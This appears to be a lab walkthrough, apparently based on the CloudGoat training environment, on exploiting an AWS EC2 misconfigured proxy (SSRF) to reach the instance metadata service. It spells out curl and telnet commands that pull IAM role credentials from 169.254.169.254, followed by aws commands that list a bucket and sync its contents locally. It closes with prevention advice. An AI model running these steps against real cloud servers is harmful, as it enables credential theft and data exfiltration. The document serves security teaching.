👨‍🔬Exploiting AWS Misconfigurations

Basic AWS Services

• VPC - Virtual Private Cloud

  • Logical Data Center in AWS

• EC2 - Elasitic Cloud Compute

  • Runs instances that are similar to VMs

• S3 - Simple Storage Solution

  • Object storage organized into Buckets

• IAM - Identify Access Management

  • How AWS provisions access

The Problem

The problem exists with an AWS EC2 "feature" called Instance Metadata and an attack known as a Server Side Request Forgery (SSRF).

Tool

GitHub - RhinoSecurityLabs/cloudgoat: CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment toolGitHub

Setup

• Nginx running on AWS EC2

• S3 Buckets with sensitive data

• IAM Roles with read access to S3 buckets

• Instance Profile with IAM Roles attached to EC2 instance

Misconfiguration

The proxy server should be allowed to retrieve information from the web application server and nothing else.

The attack

• Discover the Proxy Server that allows access to the Instance Metadata service

• Craft a request against the web server that can return data from Instance Metadata Service

• http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

• This returns temporary credentails that can be used to access resources allowed by the IAM role

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

$ telnet capitalbank.tompohl.com 80

GET / HTTP/1.0

Get Meta-Data

$ telnet capitalbank.tompohl.com 80

GET http://169.254.169.254/latest

View the directories

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/ && echo

View the meta-data directory

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/ && echo

View the iam directory

$ curl --proxy capitalbank.tompohl.com:80 http://169.254.169.254/latest/meta-data/iam && echo

View the buckets using leaked creds

aws s3api list-buckets

List bucket objetcts

aws s3 ls icanhazdata

Get Encryption details

aws s3api get-bucket-encryption --bucket icanhazdata

Sync the bucket objects into the laptop

aws s3 sync s3://icanhazdata

Prevention

• Use least privilege when creating IAM Roles

• If you do not need the Instance Metadata API (you don't) then firewall it

• Do not store sensitive data in your provisioning scripts because these can also be read by the Instance Metadata API